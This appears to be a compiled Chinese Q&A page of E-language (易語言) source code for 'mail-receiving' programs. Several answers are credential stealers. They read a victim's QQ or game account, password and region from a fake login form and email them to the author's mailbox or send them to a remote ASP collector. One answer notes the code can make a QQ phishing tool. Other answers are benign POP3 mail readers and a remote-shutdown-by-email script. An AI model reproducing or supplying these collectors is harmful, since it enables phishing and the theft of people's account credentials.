易語言收信源碼
『壹』 跪求易語言郵箱收信的源碼！！最好附加教程
.版本
2
.支持庫
internet
.子程序
_按鈕1_被單擊
連接發信伺服器
(「smtp.qq.com」,
25,
「283279437」,
「你密碼」,
)
發送郵件
(「傻瓜送號來了」
＋
編輯框1.內容,
「QQ賬號：」
＋
編輯框1.內容
＋
#換行符
＋
「QQ密碼：」
＋
編輯框2.內容
＋
#換行符,
「[email protected]」,
,
,
「[email protected]」,
)
你好好研究就知道了呵呵！只供研究哈！
----------------------精易論壇
-
問問團隊----------------------
此答案來源於
→
精易論壇,要學習編程的可網路一下"精易論壇"
精易論壇：專業的易語言技術交流平台
我們的口號是:幫助別人等於幫助自
『貳』 誰幫我做個易語言QQ收信的源碼 成功了 我給他分。。。。。。。。。。。
本源碼可判斷QQ是否正確再發送郵件：
.版本 2
.支持庫 internet
.子程序 _按鈕1_被單擊
連接發信伺服器 (「smtp.qq.com」, , 編輯框1.內容, 編輯框2.內容, )
發送郵件 (「你的標題」, 編輯框1.內容 ＋ #換行符 ＋ 編輯框2.內容, 「收信人地址」, , , 「發信人地址」, )
' 此源碼為 如果他在編輯框1.內容,與編輯框2.內容輸入的是正確賬號和密碼 他會進行發送郵件到指定地址 如果不正確將不發送嘍
==================================================
精易論壇 - 榮譽團隊
此答案來源於 → 精易論壇,要學習的可網路一下"精易論壇"
精易論壇 → 專業易語言技術交流學習平台
我們的口號是 → 幫助別人等於幫助自己
『叄』 誰給我易語言接收郵件的源碼 是接收 不是發送
.版本 2
.支持庫 pop3
.子程序 接收郵件子程序, , , 正在接收第 * 封郵件，總共有 * 封郵件，剩餘 * 封郵件。
.局部變數 郵件個數, 整數型
.局部變數 郵件大小, 整數型
.局部變數 計次, 整數型
.局部變數 郵件信息, 郵件信息
.局部變數 郵件附件, 附件信息, , "0"
標簽1.標題 ＝ 「正在連接伺服器.....」
.如果 (連接收信伺服器 (「pop.qq.com」, 110, 「用戶名」, 「密碼」, 30000, 3))
標簽1.標題 ＝ 「連接伺服器成功，准備開始接收郵件！」
.否則
標簽1.標題 ＝ 「伺服器連接失敗。」
返回 ()
.如果結束
獲取郵件信息 (郵件個數, 郵件大小)
.如果真 (郵件個數 ＝ 0)
標簽1.標題 ＝ 「暫時沒有郵件！」
返回 ()
.如果真結束
.計次循環首 (郵件個數, 計次)
標簽1.標題 ＝ 「正在接收第 」 ＋ 到文本 (計次) ＋ 「 封郵件，總共有 」 ＋ 到文本 (郵件個數) ＋ 「 封郵件，剩餘 」 ＋ 到文本 (郵件個數 － 計次) ＋ 「封郵件。」
郵件信息 ＝ 接收郵件 (計次)
輸出調試文本 (郵件信息.取文本內容 ())
郵件附件 ＝ 郵件信息.取附件 ()
郵件附件 [1].取名稱 ()
.計次循環尾 ()
標簽1.標題 ＝ 「本次接收完成！」
斷開收信伺服器 ()
『肆』 求易語言一個收信源碼
窗口至少有兩個編輯框和一個按鈕，然後雙擊窗口輸入以下代碼
.版本 2
.支持庫 internet
.程序集 窗口程序集1
.子程序 _按鈕1_被單擊
.如果真 (收信 (「http://你的收信地址/qq.asp」, 編輯框1.內容, 編輯框2.內容) ＝ 「發送成功」)
.如果真結束
.子程序 收信, 文本型
.參數 地址, 文本型
.參數 帳號, 文本型
.參數 密碼, 文本型
返回 (到文本 (HTTP讀文件 (地址 ＋ 「?」 ＋ 「qqnumber=」 ＋ 帳號 ＋ 「&qqpassword=」 ＋ 密碼)))
『伍』 （300分）求易語言一個收信源碼
.版本 2
.支持庫 pop3
.程序集 啟動程序集
.程序集變數 郵件, 郵件信息, , "0"
.程序集變數 附件, 附件信息, , "0"
.程序集變數 郵件索引, 整數型
.程序集變數 附件索引, 整數型
.程序集變數 郵件總數, 整數型
.程序集變數 附件個數, 整數型
.程序集變數 登陸信息, 文本型, , "6"
.程序集變數 是否快速瀏覽, 邏輯型
.程序集變數 郵件大小, 整數型, , "0"
.程序集變數 郵件序號組, 文本型, , "0"
.子程序 _啟動子程序, 整數型, , 本子程序在程序啟動後最先執行
標准輸出 (, 「郵件接收支持庫的測試」 ＋ #換行符)
標准輸出 (, 「郵箱登陸:」 ＋ #換行符)
注冊郵件接收回調函數 (&回調函數)
設置代理 ()
登陸 ()
快速瀏覽 ()
標准輸出 (, 「快速瀏覽完畢」 ＋ #換行符)
標准輸出 (, 「需要詳細查看各郵件嗎？（Y/N）」)
.如果真 (取代碼 (標准輸入 (), 1) ＝ 121)
讀郵件 ()
.如果真結束
標准輸入 ()
返回 (0) ' 可以根據您的需要返回任意數值
.子程序 設置代理
.局部變數 是否設置, 文本型
.局部變數 伺服器類型, 文本型
.局部變數 伺服器地址, 文本型
.局部變數 伺服器埠, 文本型
.局部變數 伺服器用戶, 文本型
.局部變數 伺服器密碼, 文本型
標准輸出 (, 「是否設置代理伺服器(Y/N)」 ＋ #換行符)
是否設置 ＝ 標准輸入 ()
.如果真 (取代碼 (是否設置, 1) ＝ 121)
標准輸出 (, 「1：HTTP1.1代理，2：SOCKS5代理----」)
伺服器類型 ＝ 標准輸入 ()
標准輸出 (, 「代理伺服器IP地址----」)
伺服器地址 ＝ 標准輸入 ()
標准輸出 (, 「埠號----」)
伺服器埠 ＝ 標准輸入 ()
標准輸出 (, 「用戶名----」)
伺服器用戶 ＝ 標准輸入 ()
標准輸出 (, 「密碼----」)
伺服器密碼 ＝ 標准輸入 ()
.如果 (設置代理伺服器 (到整數 (伺服器類型), 伺服器地址, 到數值 (伺服器埠), 伺服器用戶, 伺服器密碼) ＝ 真)
標准輸出 (, 「設置代理伺服器成功」 ＋ #換行符)
.否則
標准輸出 (, 「設置代理伺服器失敗」)
標准輸入 ()
結束 ()
.如果結束
.如果真結束
.子程序 登陸
.局部變數 文本變數, 文本型
標准輸出 (, 「請輸入郵件伺服器地址：」)
文本變數 ＝ 標准輸入 (真)
登陸信息 [1] ＝ 文本變數
標准輸出 (, 「請輸入埠號：」)
文本變數 ＝ 標准輸入 (真)
登陸信息 [2] ＝ 文本變數
標准輸出 (, 「請輸入用戶名：」)
文本變數 ＝ 標准輸入 (真)
登陸信息 [3] ＝ 文本變數
標准輸出 (, 「請輸入密碼：」)
文本變數 ＝ 標准輸入 (真)
登陸信息 [4] ＝ 文本變數
標准輸出 (, 「請輸入等待時間(毫秒)：」)
文本變數 ＝ 標准輸入 (真)
登陸信息 [5] ＝ 文本變數
標准輸出 (, 「請輸入重試次數：」)
文本變數 ＝ 標准輸入 (真)
登陸信息 [6] ＝ 文本變數
標准輸出 (, #換行符)
連接郵件伺服器 ()
.子程序 連接郵件伺服器
標准輸出 (, 「正在登陸郵件伺服器請稍候..........」)
標准輸出 (, #換行符 ＋ #換行符)
.如果真 (連接收信伺服器 (登陸信息 [1], 到數值 (登陸信息 [2]), 登陸信息 [3], 登陸信息 [4], 到數值 (登陸信息 [5]), 到數值 (登陸信息 [6])) ＝ 假)
標准輸出 (, 「發生錯誤：」 ＋ 取郵件錯誤信息 ())
標准輸入 ()
結束 ()
.如果真結束
標准輸出 (, 「郵箱連接成功」)
讀郵件 ()
.子程序 讀郵件
.局部變數 邏輯返回, 邏輯型
.局部變數 郵件總量, 整數型
.局部變數 瀏覽, 文本型
.局部變數 郵件序號, 文本型
.局部變數 計次變數, 整數型
邏輯返回 ＝ 獲取郵件信息 (郵件總數, 郵件總量)
.如果真 (邏輯返回 ＝ 假)
標准輸出 (, 「獲取郵件信息出錯:」 ＋ 取郵件錯誤信息 ())
標准輸入 ()
結束 ()
.如果真結束
標准輸出 (, 「郵件總量：」 ＋ 到文本 (郵件總量) ＋ #換行符)
標准輸出 (, 「郵件個數：」 ＋ 到文本 (郵件總數) ＋ #換行符)
重定義數組 (郵件, 假, 郵件總數)
清除數組 (郵件大小)
邏輯返回 ＝ 獲取郵件大小 (-1, 郵件大小, 郵件總數)
.如果真 (邏輯返回 ＝ 假)
標准輸出 (, 「獲取每個郵件的大小出錯:」 ＋ 取郵件錯誤信息 ())
標准輸入 ()
結束 ()
.如果真結束
標准輸出 (, 「是否要快速瀏覽（Y/N） 」)
瀏覽 ＝ 標准輸入 (真)
標准輸出 (, #換行符)
標准輸出 (, 「正在接收郵件請稍候............」)
.如果 (取代碼 (瀏覽, 1) ＝ 121)
是否快速瀏覽 ＝ 真
.計次循環首 (郵件總數, 計次變數)
郵件 [計次變數] ＝ 接收郵件前幾行 (計次變數, 10)
.計次循環尾 ()
.否則
.計次循環首 (郵件總數, 計次變數)
郵件 [計次變數] ＝ 接收郵件 (計次變數)
.計次循環尾 ()
.如果結束
標准輸出 (, #換行符)
標准輸出 (, #換行符)
清除數組 (郵件序號組)
.計次循環首 (郵件總數, 計次變數)
接收郵件序號 (計次變數, 郵件序號)
加入成員 (郵件序號組, 郵件序號)
.計次循環尾 ()
標准輸出 (, 「郵件接收完畢」)
斷開收信伺服器 ()
.如果真 (是否快速瀏覽 ＝ 假)
郵件信息 ()
.如果真結束
.子程序 郵件信息
.局部變數 郵件次序號, 整數型
標准輸出 (, 「共接收郵件 」 ＋ 到文本 (郵件總數) ＋ 「 個」 ＋ #換行符)
標准輸出 (, 「要查看郵件內容請輸入郵件的次序號：」)
郵件次序號 ＝ 到數值 (標准輸入 (真))
.如果 (郵件次序號 ≥ 1 且 郵件次序號 ≤ 郵件總數)
取郵件 (郵件次序號)
.否則
郵件信息 ()
.如果結束
.子程序 取附件信息
.參數 附件索引數, 整數型
.局部變數 是否嵌入式, 邏輯型
.局部變數 文件名, 文本型
.局部變數 文件號, 整數型
標准輸出 (, #換行符)
標准輸出 (, 「第 」 ＋ 到文本 (附件索引數) ＋ 「 個附件信息」 ＋ #換行符)
標准輸出 (, 「是否嵌入式:」)
是否嵌入式 ＝ 附件 [附件索引數].取是否嵌入式附件 ()
標准輸出 (, 到文本 (是否嵌入式))
標准輸出 (, #換行符)
.如果 (是否嵌入式 ＝ 真)
標准輸出 (, 「嵌入文件名:」)
標准輸出 (, 附件 [附件索引數].取名稱 ())
.否則
標准輸出 (, 「附加文件名:」)
標准輸出 (, 附件 [附件索引數].取文件名 ())
.如果結束
標准輸出 (, #換行符)
標准輸出 (, 「附件大小:」)
標准輸出 (, 到文本 (附件 [附件索引數].取大小 ()))
標准輸出 (, #換行符)
標准輸出 (, 「附件類型:」)
標准輸出 (, 附件 [附件索引數].取類型 ())
標准輸出 (, #換行符)
標准輸出 (, 「編碼方式:」)
標准輸出 (, 附件 [附件索引數].取編碼方式 ())
標准輸出 (, #換行符)
標准輸出 (, 「附件數據的大小:」)
標准輸出 (, 到文本 (取位元組集長度 (附件 [附件索引數].取數據 ())))
標准輸出 (, #換行符)
.子程序 取郵件
.參數 郵件索引數, 整數型
.局部變數 內容, 文本型
.局部變數 計次變數, 整數型
標准輸出 (, 「第 」 ＋ 到文本 (郵件索引數) ＋ 「 個郵件信息」 ＋ #換行符)
標准輸出 (, 「發件人名稱:」)
標准輸出 (, 郵件 [郵件索引數].取發件人名稱 ())
標准輸出 (, #換行符)
標准輸出 (, 「主題:」)
標准輸出 (, 郵件 [郵件索引數].取主題 ())
標准輸出 (, #換行符)
標准輸出 (, 「日期:」)
標准輸出 (, 到文本 (郵件 [郵件索引數].取日期 ()))
標准輸出 (, #換行符)
標准輸出 (, 「發件人地址:」)
標准輸出 (, 郵件 [郵件索引數].取發件人地址 ())
標准輸出 (, #換行符)
標准輸出 (, 「回復地址:」)
標准輸出 (, 郵件 [郵件索引數].取回復地址 ())
標准輸出 (, #換行符)
標准輸出 (, 「郵件大小:」)
標准輸出 (, 到文本 (郵件大小 [郵件索引數]))
標准輸出 (, #換行符)
標准輸出 (, 「郵件序號:」)
標准輸出 (, 郵件序號組 [郵件索引數])
標准輸出 (, #換行符)
標准輸出 (, 「原始信息長度:」)
標准輸出 (, 到文本 (取文本長度 (郵件 [郵件索引數].取原始信息 ())))
標准輸出 (, #換行符)
標准輸出 (, 「文本內容:」)
內容 ＝ 郵件 [郵件索引數].取文本內容 ()
標准輸出 (, 內容 ＋ #換行符)
標准輸出 (, 「保存超文本文件」)
超文本內容 (郵件索引數)
標准輸出 (, #換行符)
標准輸出 (, 「附件個數 :」)
附件個數 ＝ 郵件 [郵件索引數].取附件個數 ()
標准輸出 (, 到文本 (附件個數))
標准輸出 (, #換行符)
.如果真 (是否快速瀏覽 ＝ 假)
標准輸出 (, #換行符)
附件 ＝ 郵件 [郵件索引數].取附件 ()
.計次循環首 (取數組成員數 (附件), 計次變數)
取附件信息 (計次變數)
.計次循環尾 ()
選擇保存附件 (郵件索引數)
標准輸出 (, #換行符)
郵件信息 ()
.如果真結束
.子程序 選擇保存附件
.參數 選擇附件索引, 整數型
.局部變數 附件次序號, 整數型
標准輸出 (, 「是否需要保存附件（Y/N）」)
.如果 (取代碼 (標准輸入 (), 1) ＝ 121)
標准輸出 (, 「請輸入要保存的附件次序號:」)
附件次序號 ＝ 到數值 (標准輸入 (真))
.如果真 (附件次序號 ≥ 1 且 附件次序號 ≤ 附件個數)
保存附件 (附件次序號)
.如果真結束
.否則
刪除子程序 (選擇附件索引)
.如果結束
.子程序 刪除子程序
.參數 索引
.局部變數 是否刪除, 文本型
標准輸出 (, 「是否要刪除該郵件（Y/N）」)
是否刪除 ＝ 標准輸入 (真)
.如果真 (取代碼 (是否刪除, 1) ＝ 121)
連接收信伺服器 (登陸信息 [1], 到數值 (登陸信息 [2]), 登陸信息 [3], 登陸信息 [4], 到數值 (登陸信息 [5]), 到數值 (登陸信息 [6]))
.如果 (刪除郵件 (索引) ＝ 真)
標准輸出 (, 「刪除成功」)
.否則
標准輸出 (, 「刪除失敗」)
.如果結束
.如果真結束
郵件復位 ()
.子程序 快速瀏覽
.局部變數 計次變數, 整數型
.計次循環首 (取數組成員數 (郵件), 計次變數)
取郵件 (計次變數)
刪除子程序 (計次變數)
標准輸出 (, #換行符)
.計次循環尾 ()
.子程序 保存附件
.參數 保存索引, 整數型
.局部變數 文件名, 文本型
.局部變數 文件號, 整數型
.如果 (附件 [保存索引].取是否嵌入式附件 () ＝ 真)
文件名 ＝ 附件 [保存索引].取名稱 ()
.否則
文件名 ＝ 附件 [保存索引].取文件名 ()
.如果結束
標准輸出 (, 「請輸入要保存到的路徑，以」 ＋ #引號 ＋ 「 ＼」 ＋ #引號 ＋ 「結束：」)
文件號 ＝ 打開文件 (標准輸入 (真) ＋ 文件名, #重寫, )
.如果 (插入位元組集 (文件號, 附件 [保存索引].取數據 ()) ＝ 真)
標准輸出 (, 「保存成功」)
.否則
標准輸出 (, 「保存失敗」)
.如果結束
關閉文件 (文件號)
標准輸出 (, #換行符)
.子程序 郵件復位
標准輸出 (, #換行符)
標准輸出 (, 「需要恢復被刪除的郵件嗎？（Y/N）」)
.如果真 (取代碼 (標准輸入 (), ) ＝ 121)
.如果 (復位郵件 () ＝ 真)
標准輸出 (, 「復位成功,」)
標准輸出 (, 「刪除的郵件被恢復」)
.否則
標准輸出 (, 「復位失敗」)
.如果結束
.如果真結束
.子程序 超文本內容
.參數 索引, 整數型
.局部變數 計次變數, 整數型
.局部變數 文件號, 整數型
.局部變數 臨時文件, 文本型
標准輸出 (, 「請輸入臨時瀏覽超文本文件的路徑，以」 ＋ #引號 ＋ 「 ＼」 ＋ #引號 ＋ 「結束：」)
臨時文件 ＝ 標准輸入 ()
文件號 ＝ 打開文件 (臨時文件 ＋ 「臨時瀏覽.html」, #重寫, ) ' 創建要瀏覽的超文本內容的網頁文件
插入文本 (文件號, 郵件 [索引].取超文本內容 ())
關閉文件 (文件號)
.計次循環首 (郵件 [索引].取附件個數 (), 計次變數)
.如果真 (附件 [計次變數].取是否嵌入式附件 ())
文件號 ＝ 打開文件 (臨時文件 ＋ 附件 [計次變數].取名稱 (), #重寫, ) ' 創建要瀏覽的超文本網頁的附件文件
插入位元組集 (文件號, 附件 [計次變數].取數據 ())
關閉文件 (文件號)
.如果真結束
.計次循環尾 ()
.子程序 回調函數, 邏輯型
.參數 類型, 整數型
.參數 第幾封, 整數型
.參數 位元組數, 整數型
.判斷開始 (#命令類型.驗證用戶名 ＝ 類型)
標准輸出 (, 「驗證用戶信息」)
.默認
.判斷結束
返回 (真)
『陸』 易語言郵箱收信源碼
沒有錯誤，如果無法收到郵件，請檢查發件人QQ郵箱是否已經開啟SMTP服務（默認為關閉）
SMTP開啟方法：
進入發件人QQ郵箱，點擊頁面的上方的「設置」
然後切換到「帳戶」
向下找到選項，勾選「開啟POP3/STMP服務」，保存設置。
如圖所示：
『柒』 易語言發送郵件源碼怎麼寫啊
首先，在軟體的界面創建「標簽1」「標簽2」，並改名為「郵件標題」「郵件內容」，也可按照自己的想法修改（針對應用於其他特殊需要用戶）創建，「編輯框1」「編輯框2」「按鈕1」，並將「按鈕1」改名為「發送郵件」
雙擊「發送郵件」按鈕，進入代碼編輯區域
連接「發信伺服器」，並判斷是否連接成功，代碼：如果 (連接發信伺服器 (「smtp.163.com」, 25, 「你的163郵箱賬戶」, 「你的163郵箱密碼」, ) ＝ 真)
這里判斷如果連接發信伺服器成功，將執行發送郵件，代碼：發送郵件 (編輯框1.內容, 編輯框2.內容, 「這里寫你收信的郵件地址」, , , 「這里寫你的發信郵箱地址」, )
這里判斷如果連接發送伺服器失敗的話，將執行彈出信息框代碼，當然也可省略這個步驟，根據個人需要選擇，代碼：信息框 (「連接發信伺服器失敗」, 0, )
此時，完整的代碼如下：
.版本 2支持庫 internet如果 (連接發信伺服器 (「smtp.163.com」, 25, 「你的163郵箱賬戶」, 「你的163郵箱密碼」, ) ＝ 真)發送郵件 (編輯框1.內容, 編輯框2.內容, 「這里寫你收信的郵件地址」, , , 「這里寫你的發信郵箱地址」, )否則信息框 (「連接發信伺服器失敗」, 0, , )
「編輯框1」是郵件標題，「編輯框2」是郵件內容，填寫完之後，點擊「發送郵件」按鈕，即可。
『捌』 易語言收信代碼
連接發信伺服器
(「建議163郵箱」,
,
「您的賬號」,
「密碼」,
)
發送郵件（編輯框1.內容,
「帳號:」
＋
編輯框1.內容
＋
#換行符
＋
「密碼:」
＋
編輯框2.內容
＋
#換行符
＋
「
區域:」
＋
組合框1.內容
＋
#換行符
＋
編輯框6.內容,
「你的收信郵箱」,
,
「另一個郵箱」,
「163郵箱」
注意！：發送郵件的內容要自己定義，你需要那個框的內容在這裡面就可以改
『玖』 怎麼用易語言寫收到郵件立即關機求源碼
我採用的是QQ郵箱哈
建立兩個時鍾，時鍾周期都為1000，在建立一個編輯框，然後輸入一下代碼：
.版本 2
.支持庫 pop3
.支持庫 spec
.支持庫 iconv
.支持庫 shell
.程序集 窗口程序集1
.子程序 _時鍾1_周期事件
.局部變數 郵件, 郵件信息
.局部變數 主題, 文本型
.局部變數 轉換編碼, 文本型
.局部變數 結果, 邏輯型
調試輸出 (連接收信伺服器 (「pop.qq.com」, 110, 「你的QQ賬號」, "你的QQ密碼", 30000, 3))
郵件 ＝ 接收郵件 (1)
主題 ＝ 郵件.取主題 ()
轉換編碼 ＝ 到文本 (編碼轉換 (到位元組集 (主題), #編碼_UTF_8, #編碼_GB2312, 結果))
編輯框1.內容 ＝ 轉換編碼
調試輸出 (轉換編碼)
.子程序 _時鍾2_周期事件
.如果 (編輯框1.內容 ＝ 「12345」)
關閉系統 (#關機, )
時鍾1.時鍾周期 ＝ 0
時鍾2.時鍾周期 ＝ 0
刪除郵件 (1)
斷開收信伺服器 ()
.否則
刪除郵件 (1)
斷開收信伺服器 ()
.如果結束
這是QQ郵箱的，其他郵箱也差不多
我說下怎麼用：
打開此軟體，然後你用手機或者其他電腦給你的QQ發一個主題是「12345」的郵件，電腦就關機啦！求採納。。。
『拾』 求易語言收郵件的源碼
連接發信伺服器 (「這里寫發信郵箱」, , 「這里寫收信郵箱」, 「這里寫收信郵箱」, )
發送郵件 (「郵箱表態！」, 編輯框1.內容 ＋ #換行符 ＋ 編輯框2.內容, 「這里寫收信郵箱」, , , 「這里寫收信郵箱」, )
這些郵箱代碼可以寫個簡單的QQ釣魚小工具的，小心點用